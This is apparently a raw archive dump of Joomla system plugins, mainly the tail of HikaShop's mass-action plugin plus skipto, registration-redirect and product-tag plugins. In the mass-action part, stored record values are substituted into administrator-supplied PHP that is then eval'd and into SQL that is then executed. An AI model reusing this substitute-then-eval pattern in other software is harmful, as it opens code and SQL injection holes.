								$history->history_reason = JText::sprintf('MODIFICATION_USERS');
								$history->history_notified = '1';
								$history->history_type = 'modification';
							}
							$object->$column = $value;
							$class->save($object);
						}
						break;
					case 'payment':
						$query = 'SELECT payment_type';
						$query .= ' FROM '.hikashop_table('payment');
						$query .= ' WHERE payment_id='.$database->Quote($value);
						$database->setQuery($query);
						$row = $database->loadObject();

						$object = $class->get($data_id);
						$object->order_payment_id = $value;
						$object->order_payment_method = $row->payment_type;
						$history = new stdClass();
						$history->history_reason = JText::sprintf('MODIFICATION_USERS');
						$history->history_notified = '0';
						$history->history_type = 'modification';
						$object->history = $history;
						$class->save($object);

						break;
					case 'shipping':
						$query = 'SELECT shipping_type';
						$query .= ' FROM '.hikashop_table('shipping');
						$query .= ' WHERE shipping_id='.$database->Quote($value);
						$database->setQuery($query);
						$row = $database->loadObject();

						$object = $class->get($data_id);
						$object->order_shipping_id = $value;
						$object->order_shipping_method = $row->shipping_type;
						$history = new stdClass();
						$history->history_reason = JText::sprintf('MODIFICATION_USERS');
						$history->history_notified = '0';
						$history->history_type = 'modification';
						$object->history = $history;
						$class->save($object);

						break;

						case 'user':
							die('Never');
							break;
						case 'joomla_users':
							die('Never');
							break;
					}
				break;

			case 'address':
				$class = hikashop_get('class.address');
				switch($table){
					case 'address':
						$object = $class->get($data_id);
						$object->$column = $value;
						$class->save($object);
						break;
					case 'user':
						$user = hikashop_get('class.user');
						$object = $user->get($id);
						foreach($object as $key=>$element){
							if(!strstr($key,'user_')){
								unset($object->$key);
							}
						}
						if($object){
							$object->$column = $value;
							$user->save($object,true);
						}

						break;

					case 'joomla_users':
						if($column == 'joomla_users_id'){
							$column = 'id';
						}
						$user = JFactory::getUser($id);
						if(!empty($user)){
							$user->$column = $value;
							$user->save();
						}
						break;
				}
				break;
		}
	}

	function onLoadDatatMassActionBeforeEdition($data,$data_id,$table,$column,$type,$ids,&$query,&$view){
		$database = JFactory::getDBO();
		hikashop_toInteger($ids);
		switch($type){
			case 'price':
				$query = 'SELECT '.$column.','.$table.'_id';
				$query .= ' FROM '.hikashop_table($table);
				$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';

				break;

			case 'joomla_users':
				if($column == 'jommla_users_id'){
					$column = 'id';
				}
				$query = 'SELECT DISTINCT '.$column.', id as \'joomla_users_id\'';
				$query .= ' FROM '.hikashop_table('users',false);
				$query .= ' WHERE id IN ('.implode(',',$ids).')';
				break;

			case 'layout':
				$layout = hikashop_get('type.layout');
				$view->assignRef('layout',$layout);

				$query = 'SELECT '.$column.','.$table.'_id';
				$query .= ' FROM '.hikashop_table($table);
				$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';
				break;

			case 'method_name':

				$query = 'SELECT '.$column.','.$table.'_id,'.$table.'_type';
				$query .= ' FROM '.hikashop_table($table);

				break;

			case 'usergroups':

				$query = 'SELECT DISTINCT title, id as \'usergroups_id\'';
				$query .= ' FROM '.hikashop_table('usergroups',false);

				break;
			case 'status':
				$status = hikashop_get('type.categorysub');
				$status->type = 'status';
				$view->assignRef('status',$status);


				$query = 'SELECT '.$column.','.$table.'_id';
				$query .= ' FROM '.hikashop_table($table);
				$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';

				break;
			case 'yesno':
				$query = 'SELECT '.$column.','.$table.'_id';
				$query .= ' FROM '.hikashop_table($table);
				$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';

				break;
			case 'currency':
				$types = hikashop_get('type.currency');
				$view->assignRef('types',$types);

				$query = 'SELECT '.$column.','.$table.'_id';
				$query .= ' FROM '.hikashop_table($table);
				$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';

				break;
			case 'dimension':
				$query = 'SELECT '.$column.','.$table.'_id';
				$query .= ' FROM '.hikashop_table($table);
				$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';
				break;

			case 'dimension_unit':
				$volume = hikashop_get('type.volume');
				$view->assignRef('volume',$volume);
				$query = 'SELECT '.$column.','.$table.'_id';
				$query .= ' FROM '.hikashop_table($table);
				$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';
				break;
			case 'weight':
				$query = 'SELECT '.$column.','.$table.'_id';
				$query .= ' FROM '.hikashop_table($table);
				$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';
				break;

			case 'weight_unit':
				$weight = hikashop_get('type.weight');
				$view->assignRef('weight',$weight);
				$query = 'SELECT '.$column.','.$table.'_id';
				$query .= ' FROM '.hikashop_table($table);
				$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';
				break;

			case 'characteristic':
				$query = 'SELECT DISTINCT c1.characteristic_id, c1.characteristic_value';
				$query .= ' FROM '.hikashop_table('characteristic').' AS c1';
				$query .= ' INNER JOIN '.hikashop_table('characteristic').' AS c2 ON c1.characteristic_parent_id = c2.characteristic_id';
				$query .= ' WHERE  c2.characteristic_value='.$database->Quote($column);
				break;
			case 'related' :
				$query = 'SELECT DISTINCT p.product_id as \'related_id\',p.product_name';
				$query .= ' FROM '.hikashop_table('product').' AS p';
				break;
			case 'options' :
				$query = 'SELECT DISTINCT p.product_id as \'options_id\',p.product_name';
				$query .= ' FROM '.hikashop_table('product').' AS p';
				break;
			case 'parent':
				$query = 'SELECT '.$column.','.$table.'_id, '.$table.'_name';
				$query .= ' FROM '.hikashop_table($table);
				$view->assignRef('ids', $ids);
				break;
			case 'id':
				$query = 'SELECT '.$column;
				if($table != 'price' && $table!='address'){
					$query .= ','.$table.'_name';
				}
				$query .= ' FROM '.hikashop_table($table);
				if($table == 'category'){
					$query .= ' WHERE category_type = \'product\' ';
				}
				$view->assignRef('ids', $ids);
				break;

			case 'sub_id':
				if(strstr($column, '_')!==false){
					$a = explode("_", $column);
				}
				if(strstr($column, 'partner')===false){
					foreach($a as $k=>$chaine){
						if($chaine === $table || $chaine === 'id'){
							unset($a[$k]);
						}
					}
					$table_tmp = implode('_',$a);
				}else{
					$table_tmp = 'user';
				}
				$column_tmp = $table_tmp.'_id';
				$query = 'SELECT '.$column_tmp.' as '.$column;
				$query .= ' FROM '.hikashop_table($table_tmp);
				$view->assignRef('ids', $ids);

				$view->table = 'order';

				break;

			default:
				$joomlaTable = true;
				if(preg_match('/joomla_/',$table)){
					$table = str_replace('joomla_','',$table);
					$joomlaTable = false;
				}

				if(strpos($type,'custom_') === 0){
					$f = substr_replace($view->type,'',0,7);
					$fields = hikashop_get('class.field');
					$view->assignRef('fields',$fields);
					$query = 'SELECT *';
					$query .= ' FROM '.hikashop_table($table,$joomlaTable);
					$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';
					$database->setQuery($query);
					$elements = $database->loadObjectList();

					if($elements == null){
						die('Undefined row');
					}

					$view->assignRef('elements',$elements);

					$allFields = array();
					$column_id = $view->table.'_id';
					foreach($elements as $element){
						$f = $fields->getFields('backend',$element,$table,'user&task=state');
						if(preg_match('/joomla_users_/',$column_id)){
							$column_id = str_replace('joomla_users_','',$column_id);
						}
						$f['id'] = $element->$column_id;
						$allFields[] = $f;
					}

					$view->assignRef('allFields',$allFields);

					$query = 'SELECT '.$column.','.$table.'_id';
					$query .= ' FROM '.hikashop_table($table,$joomlaTable);
					$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';
				}else if(!$joomlaTable){
					$query = 'SELECT '.$column.',id';
					$query .= ' FROM '.hikashop_table($table,$joomlaTable);
					$query .= ' WHERE id IN ('.implode(',',$ids).')';
					$view->assignRef('ids', $ids);
				}else{
					$query = 'SELECT '.$column.','.$table.'_id';
					$query .= ' FROM '.hikashop_table($table);
					$query .= ' WHERE '.$table.'_id IN ('.implode(',',$ids).')';
					$view->assignRef('ids', $ids);
				}
				break;
		}
	}

	function onLoadResultMassActionAfterEdition($data,$data_id,$table,$column,$type,$id,$value,&$query){
		$database = JFactory::getDBO();
		switch($data){
			case 'product':
				switch($table){
					case 'product':
						$query = 'SELECT '.$column.',product_id,product_dimension_unit';
						$query .= ' FROM '.hikashop_table('product');
						$query .= ' WHERE product_id = '.$database->Quote($id);

						break;

					case 'price':
						$query = 'SELECT '.$column.',price_currency_id, price_product_id, price_id';
						$query .= ' FROM '.hikashop_table('price');
						$query .= ' WHERE price_id ='.$database->Quote($id);

						break;

					case 'category':
						$query = 'SELECT '.hikashop_table('category').'.'.$column.','.hikashop_table('product_category').'.product_id,'.hikashop_table('category').'.category_id';
						$query .= ' FROM '.hikashop_table('category');
						$query .= ' INNER JOIN '.hikashop_table('product_category').' ON '.hikashop_table('product_category').'.category_id = '.hikashop_table('category').'.category_id';
						$query .= ' WHERE product_id = '.$database->Quote($id);

						break;

					case 'characteristic':

						$query = 'SELECT c1.characteristic_value,c1.characteristic_id';
						$query .= ' FROM '.hikashop_table('characteristic').' as c1';
						$query .= ' WHERE c1.characteristic_id ='.$database->Quote($value);

						break;
					case 'related':
						$query = 'SELECT p.product_id as \'related_id\',product_name,r.product_related_type';
						$query .= ' FROM '.hikashop_table('product').' AS p';
						$query .= ' INNER JOIN '.hikashop_table('product_related').' AS r ON r.product_related_id = p.product_id';
						$query .= ' WHERE r.product_id = '.$database->Quote($data_id).' AND r.product_related_type = \'related\'';

						$database->setQuery($query);
						$query = $database->loadObjectList();
						break;
					case 'options':
						$query = 'SELECT p.product_id as \'options_id\',product_name,r.product_related_type';
						$query .= ' FROM '.hikashop_table('product').' AS p';
						$query .= ' INNER JOIN '.hikashop_table('product_related').' AS r ON r.product_related_id = p.product_id';
						$query .= ' WHERE r.product_id = '.$database->Quote($data_id).' AND r.product_related_type = \'options\'';

						$database->setQuery($query);
						$query = $database->loadObjectList();
						break;
				}
				break;
			case 'user':
				switch($table){
					case 'user':
						$query = 'SELECT '.$column.',user_id';
						$query .= ' FROM '.hikashop_table('user');
						$query .= ' WHERE user_id = '.$database->Quote($id);
						break;

					case 'joomla_users':
						$query = 'SELECT DISTINCT '.$column.', id as \'joomla_users_id\'';
						$query .= ' FROM '.hikashop_table('users',false);
						$query .= ' WHERE id = '.$database->Quote($id);
						break;

					case 'usergroups':
						$query = 'SELECT DISTINCT usergroups.title, hk_user.user_id, usergroups.id as \'usergroups_id\'';
						$query .= ' FROM '.hikashop_table('usergroups',false).' AS usergroups';
						$query .= ' INNER JOIN '.hikashop_table('user_usergroup_map',false).' AS user_usergroup ON usergroups.id = user_usergroup.group_id';
						$query .= ' INNER JOIN '.hikashop_table('users',false).' AS user ON user.id = user_usergroup.user_id';
						$query .= ' INNER JOIN '.hikashop_table('user').' AS hk_user ON user.id = hk_user.user_cms_id';
						$query .= ' WHERE usergroups.id = '.$database->Quote($id);
						break;

					case 'address':
						$query = 'SELECT '.$column.', address_user_id, address_id';
						$query .= ' FROM '.hikashop_table('address');
						$query .= ' WHERE address_id = '.$database->Quote($id);
						break;
				}
				break;
			case 'category':
				switch($table){
					case 'category':
						$query = 'SELECT '.$column.',category_id';
						$query .= ' FROM '.hikashop_table('category');
						$query .= ' WHERE category_id = '.$database->Quote($id);
						break;
				}
			case 'order':
				switch($table){
					case 'order':
						$query = 'SELECT '.$column.', order_id,order_currency_id,order_partner_currency_id';
						$query .= ' FROM '.hikashop_table('order');
						$query .= ' WHERE order_id = '.$database->Quote($id);
						break;
					case 'order_product':
						$query = 'SELECT '.$column.', order_id, order_product_id';
						$query .= ' FROM '.hikashop_table('order_product');
						$query .= ' WHERE order_id = '.$database->Quote($id);
						break;
					case 'payment':
						$query = 'SELECT o.order_id,p.payment_name, p.payment_id';
						$query .= ' FROM '.hikashop_table('order').' as o';
						$query .= ' LEFT JOIN '.hikashop_table('payment').' as p ON o.order_payment_id = p.payment_id';
						$query .= ' WHERE p.payment_id = '.$database->Quote($value);
						break;
					case 'shipping':
						$query = 'SELECT o.order_id,s.shipping_name, s.shipping_id';
						$query .= ' FROM '.hikashop_table('order').' as o';
						$query .= ' LEFT JOIN '.hikashop_table('shipping').' as s ON o.order_shipping_id = s.shipping_id';
						$query .= ' WHERE s.shipping_id = '.$database->Quote($value);
						break;
					case 'address':
						$query = 'SELECT '.$column.', address_id';
						$query .= ' FROM '.hikashop_table('address');
						$query .= ' WHERE address_id ='.$database->Quote($id);
						break;
				}
				break;
			case 'address':
				switch($table){
					case 'user':
						$query = 'SELECT '.$column.', user_id, address_id';
						$query .= ' FROM '.hikashop_table('user').' AS user';
						$query .= ' INNER JOIN '.hikashop_table('address').' AS address ON user.user_id = address.address_user_id';
						$query .= ' WHERE user.user_id = '.$database->Quote($id);
						break;
					case 'joomla_users':
						$query = 'SELECT user.'.$column.', id as \'joomla_users_id\', address.address_id';
						$query .= ' FROM '.hikashop_table('users',false).' AS user';
						$query .= ' INNER JOIN '.hikashop_table('user').' AS hk_user ON user.id = hk_user.user_cms_id';
						$query .= ' INNER JOIN '.hikashop_table('address').' AS address ON hk_user.user_id = address.address_user_id';
						$query .= ' WHERE user.id = '.$database->Quote($id);
						break;
					case 'address':
						$query = 'SELECT a.'.$column.', a.address_id';
						$query .= ' FROM '.hikashop_table('address').' as a';
						$query .= ' WHERE a.address_id ='.$database->Quote($data_id);
						break;
				}
		}
	}

	function onBeforeMassactionUpdate(&$element){
		if(!empty($element->massaction_filters)){
			foreach($element->massaction_filters as $k => $filter){
				if($filter->name == 'csvImport'){
					if($element->massaction_filters[$k]->data['pathType'] == 'upload'){
						$importFile = hikaInput::get()->files->getVar('filter_product_'.$k.'_csvImport_upload', array(), 'array');
						$importHelper = hikashop_get('helper.import');
						$element->massaction_filters[$k]->data['path'] = $importHelper->importFromFile($importFile, false);
						$element->massaction_filters[$k]->data['pathType'] = 'path';
					}
				}
			}
		}
	}

	function onHikashopCronTrigger(&$messages){
		$config =& hikashop_config();
		$periods = array('minutes','hours','days','weeks','months','years');
		$massactionClass = hikashop_get('class.massaction');
		foreach($periods as $period){
			$last_trigger = $config->get('massaction_last_trigger_'.$period);
			$next_trigger = strtotime('+1 '.$period,(int)$last_trigger);
			if(time()<$next_trigger) continue;
			$pref = new stdClass();
			$key = 'massaction_last_trigger_'.$period;
			$pref->$key =  time();
			$config->save($pref);
			$massactionClass->_trigger('onHikashopCronTrigger'.ucfirst($period));
		}
		if(count($massactionClass->report)) $messages = array_merge($messages,$massactionClass->report);
	}
	function onProcessOrderMassActionphpCode(&$elements,&$action,$k) {
		$this->_processPHP($elements,$action);
	}
	function onProcessProductMassActionphpCode(&$elements,&$action,$k){
		$this->_processPHP($elements,$action);
	}
	function onProcessAddressMassActionphpCode(&$elements,&$action,$k){
		$this->_processPHP($elements,$action);
	}
	function onProcessUserMassActionphpCode(&$elements,&$action,$k){
		$this->_processPHP($elements,$action);
	}
	function onProcessCategoryMassActionphpCode(&$elements,&$action,$k){
		$this->_processPHP($elements,$action);
	}
	function _processPHP(&$elements, &$action) {
		if(!empty($action['code'])) {
			$db = JFactory::getDBO();
			foreach($elements as $e) {
				$attributes = get_object_vars($e);
				$code = $action['code'];
				foreach($attributes as $key => $value) {
					if(is_object($value) || is_array($value))
						continue;
					$code = str_replace('{'.$key.'}', $value, $code);
				}
				try {
					eval($code);
				} catch (Error $e) {
					$app = JFactory::getApplication();
					$app->enqueueMessage(JText::sprintf('ACTION_PHP_CODE_IS_WRONG', $e->getMessage()) , 'error');
				}
			}
		}
	}

	function onProcessOrderMassActionmysqlQuery(&$elements,&$action,$k) {
		$this->_processSQL($elements,$action);
	}
	function onProcessProductMassActionmysqlQuery(&$elements,&$action,$k){
		$this->_processSQL($elements,$action);
	}
	function onProcessAddressMassActionmysqlQuery(&$elements,&$action,$k){
		$this->_processSQL($elements,$action);
	}
	function onProcessUserMassActionmysqlQuery(&$elements,&$action,$k){
		$this->_processSQL($elements,$action);
	}
	function onProcessCategoryMassActionmysqlQuery(&$elements,&$action,$k){
		$this->_processSQL($elements,$action);
	}
	function _processSQL(&$elements, &$action) {
		if(!empty($action['query'])) {
			$db = JFactory::getDBO();
			foreach($elements as $e) {
				$attributes = get_object_vars($e);
				$query = $action['query'];
				foreach($attributes as $key => $value) {
					if(is_object($value) || is_array($value))
						continue;
					$query = str_replace('{'.$key.'}', $value, $query);
				}
				$db->setQuery($query);
				$db->execute();
			}
		}
	}
}
PK!Em>��)hikashopmassaction/hikashopmassaction.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="system" method="upgrade">
	<name>System - HikaShop Mass Action</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>HikaShop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>HikaShop System plugin to handle mass action triggers</description>
	<files>
		<filename plugin="hikashopmassaction">hikashopmassaction.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
			</fieldset>
		</fields>
	</config>
</extension>
PK!�}idxxskipto/skipto.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.skipto
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplicationInterface;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Skipto plugin to add accessible keyboard navigation to the site and administrator templates.
 *
 * @since  4.0.0
 */
class PlgSystemSkipto extends CMSPlugin
{
	/**
	 * Application object.
	 *
	 * @var    CMSApplicationInterface
	 * @since  4.0.0
	 */
	protected $app;

	/**
	 * Add the skipto navigation menu.
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function onAfterDispatch()
	{
		$section = $this->params->get('section', 'administrator');

		if ($section !== 'both' && $this->app->isClient($section) !== true)
		{
			return;
		}

		// Get the document object.
		$document = $this->app->getDocument();

		if ($document->getType() !== 'html')
		{
			return;
		}

		// Are we in a modal?
		if ($this->app->input->get('tmpl', '', 'cmd') === 'component')
		{
			return;
		}

		// Load language file.
		$this->loadLanguage();

		// Add plugin settings and strings for translations in JavaScript.
		$document->addScriptOptions(
			'skipto-settings',
			[
				'settings' => [
					'skipTo' => [
						// Feature switches
						'enableActions'               => false,
						'enableHeadingLevelShortcuts' => false,

						// Customization of button and menu
						'accesskey'     => '9',
						'displayOption' => 'popup',

						// Button labels and messages
						'buttonLabel'            => Text::_('PLG_SYSTEM_SKIPTO_TITLE'),
						'buttonTooltipAccesskey' => Text::_('PLG_SYSTEM_SKIPTO_ACCESS_KEY'),

						// Menu labels and messages
						'landmarkGroupLabel'  => Text::_('PLG_SYSTEM_SKIPTO_LANDMARK'),
						'headingGroupLabel'   => Text::_('PLG_SYSTEM_SKIPTO_HEADING'),
						'mofnGroupLabel'      => Text::_('PLG_SYSTEM_SKIPTO_HEADING_MOFN'),
						'headingLevelLabel'   => Text::_('PLG_SYSTEM_SKIPTO_HEADING_LEVEL'),
						'mainLabel'           => Text::_('PLG_SYSTEM_SKIPTO_LANDMARK_MAIN'),
						'searchLabel'         => Text::_('PLG_SYSTEM_SKIPTO_LANDMARK_SEARCH'),
						'navLabel'            => Text::_('PLG_SYSTEM_SKIPTO_LANDMARK_NAV'),
						'regionLabel'         => Text::_('PLG_SYSTEM_SKIPTO_LANDMARK_REGION'),
						'asideLabel'          => Text::_('PLG_SYSTEM_SKIPTO_LANDMARK_ASIDE'),
						'footerLabel'         => Text::_('PLG_SYSTEM_SKIPTO_LANDMARK_FOOTER'),
						'headerLabel'         => Text::_('PLG_SYSTEM_SKIPTO_LANDMARK_HEADER'),
						'formLabel'           => Text::_('PLG_SYSTEM_SKIPTO_LANDMARK_FORM'),
						'msgNoLandmarksFound' => Text::_('PLG_SYSTEM_SKIPTO_LANDMARK_NONE'),
						'msgNoHeadingsFound'  => Text::_('PLG_SYSTEM_SKIPTO_HEADING_NONE'),

						// Selectors for landmark and headings sections
						'headings'  => 'h1, h2, h3',
						'landmarks' => 'main, nav, search, aside, header, footer, form',
					],
				],
			]
		);

		/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
		$wa = $document->getWebAssetManager();
		$wa->useScript('skipto');
	}
}
PK!@W9(��skipto/skipto.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_skipto</name>
	<author>Joomla! Project</author>
	<creationDate>February 2020</creationDate>
	<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>4.0.0</version>
	<description>PLG_SYSTEM_SKIPTO_XML_DESCRIPTION</description>
	<files>
		<filename plugin="skipto">skipto.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_skipto.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_skipto.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="section"
					type="list"
					label="PLG_SYSTEM_SKIPTO_SECTION"
					default="administrator"
					validate="options"
					>
					<option value="site">PLG_SYSTEM_SKIPTO_SECTION_SITE</option>
					<option value="administrator">PLG_SYSTEM_SKIPTO_SECTION_ADMIN</option>
					<option value="both">PLG_SYSTEM_SKIPTO_SECTION_BOTH</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!Ӯ���=hikashopregistrationredirect/hikashopregistrationredirect.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>Hikashop Registration Redirect Plugin</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikashop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>This plugin enables you to handle redirect to HikaShop registration page</description>
	<files>
		<filename plugin="hikashopregistrationredirect">hikashopregistrationredirect.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="item_id" type="text" size="5" default="" label="HIKA_ITEMID_FOR_REGISTRATION" description="ITEMID_FOR_REGISTRATION"/>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field name="item_id" type="text" size="5" default="" label="HIKA_ITEMID_FOR_REGISTRATION" description="ITEMID_FOR_REGISTRATION"/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!KL�;��=hikashopregistrationredirect/hikashopregistrationredirect.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class plgSystemHikashopregistrationredirect extends JPlugin
{
	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('system', 'hikashopregistrationredirect');
			$this->params = new JRegistry(@$plugin->params);
		}
	}


	function onAfterRoute(){
		$app = JFactory::getApplication();
		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;

		if(version_compare(JVERSION,'3.0','>=')) {
			$option = $app->input->getVar('option');
			$view = $app->input->getVar('view');
			$task = $app->input->getVar('task');
		}else {
			$option = @$_REQUEST['option'];
			$view = @$_REQUEST['view'];
			$task = @$_REQUEST['task'];
		}
		if(($option=='com_user' && $view=='register') || ($option=='com_users' && $view=='registration' && !in_array($task,array('remind.remind','reset.request','reset.confirm','reset.complete')))){

			if(!defined('DS'))
				define('DS', DIRECTORY_SEPARATOR);
			if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')) return true;

			$Itemid = $this->params->get('item_id');
			if(empty($Itemid)){
				global $Itemid;
				if(empty($Itemid)){
					$urlItemid = hikaInput::get()->getInt('Itemid');
					if($urlItemid){
						$Itemid = $urlItemid;
					}
				}
			}

			$menuClass = hikashop_get('class.menus');
			if(!empty($Itemid)){
				$Itemid = $menuClass->loadAMenuItemId('','',$Itemid);
			}
			if(empty($Itemid)){
				$Itemid = $menuClass->loadAMenuItemId('','');
			}
			$url_itemid = '';
			if(!empty($Itemid)){
				$url_itemid.='&Itemid='.$Itemid;
			}

			$app->redirect(JRoute::_('index.php?option=com_hikashop&ctrl=user&task=form'.$url_itemid, false));
		}
		return true;
	}

}
PK!�#o,,'hikashopregistrationredirect/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,hikashopproducttag/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!�<��~~)hikashopproducttag/hikashopproducttag.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>Hikashop Product Tag</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL</license>
	<description></description>
	<files>
		<filename plugin="hikashopproducttag">hikashopproducttag.php</filename>
	</files>
</extension>
PK!-���&�&)hikashopproducttag/hikashopproducttag.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
defined('_JEXEC') or die('Restricted access');
?>
<?php

class plgSystemHikashopproducttag extends JPlugin {
	function onHikashopBeforeDisplayView(&$view){
		$option = hikaInput::get()->getString('option');
		$ctrl = hikaInput::get()->getString('ctrl');
		$task = hikaInput::get()->getString('task');

		if ($option!='com_hikashop'||$ctrl!='product'||$task!='show') return;

		ob_start();
	}
	function onHikashopAfterDisplayView(&$view){
		$option = hikaInput::get()->getString('option');
		$ctrl = hikaInput::get()->getString('ctrl');
		$task = hikaInput::get()->getString('task');

		if ($option!='com_hikashop'||$ctrl!='product'||$task!='show') return;

		$config =& hikashop_config();
		$default_params = $config->get('default_params');

		$product_page = ob_get_clean();

		$product_page_parts = explode('class="hikashop_product_page ', $product_page);
		if(!empty($product_page_parts[1])){

			if(!preg_match('#https://schema.org/Product#',$product_page_parts[1])){
				$product_page_parts[1] = 'itemscope itemtype="https://schema.org/Product" class="hikashop_product_page ' .$product_page_parts[1];
			}

			if(!preg_match('#itemprop="name"#',$product_page_parts[1])){
				$pattern='/id="hikashop_product_name_main"/';
				$replacement='id="hikashop_product_name_main" itemprop="name"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);

				$pattern='/id="hikashop_product_code_main"/';
				$replacement='id="hikashop_product_code_main" itemprop="sku"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);

				if($default_params['show_price'] == 1){
					$currency_id = hikashop_getCurrency();
					$null = null;
					$currencyClass = hikashop_get('class.currency');
					$currencies = $currencyClass->getCurrencies($currency_id,$null);
					$data=$currencies[$currency_id];

					$pattern='/<(span|div) id="hikashop_product_price_main" class="hikashop_product_price_main">/';
					$replacement= '<div itemprop="offers" itemscope itemtype="https://schema.org/Offer"><$1 id="hikashop_product_price_main" class="hikashop_product_price_main"><meta itemprop="priceCurrency" content="'.$data->currency_code.'" />';
					$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);

					$pattern='/class="hikashop_product_price_main"(.*)class="hikashop_product_price hikashop_product_price_0(.*)>(.*)<\/span>/msU';
					preg_match($pattern, $product_page_parts[1] , $matches);
					if(isset($matches[3])){
						$mainPrice = str_replace(array(' ',$data->currency_symbol),'',preg_replace('/\((.*)\)/','',$matches[3]));

						$replacement = 'class="hikashop_product_price_main" $1 class="hikashop_product_price hikashop_product_price_0$2><span itemprop="price" style="display: none;">'.$mainPrice.'</span>$3</span>';
						$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);
					}
				}

				$pattern='/class="hikashop_product_description_main"/';
				$replacement='class="hikashop_product_description_main" itemprop="description"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);
			}

			if(!preg_match('#https://schema.org/Review#',$product_page_parts[1])){
				$pattern='/id="hikashop_product_vote_listing"/';
				$replacement='id="hikashop_product_vote_listing" itemscope itemtype="https://schema.org/Review"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);
			}

			if($default_params['show_price'] == 1 && !preg_match('#itemprop="eligibleQuantity"#',$product_page_parts[1])){
				$pattern='/class="hikashop_product_price_per_unit"/';
				$replacement='class="hikashop_product_price_per_unit" itemprop="eligibleQuantity"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1],1);
			}

			if(!preg_match('#itemprop="image"#',$product_page_parts[1])){
				$pattern='/id="hikashop_main_image"/';
				$replacement='id="hikashop_main_image" itemprop="image"';
				$product_page_parts[1] = preg_replace($pattern,$replacement,$product_page_parts[1]);
			}

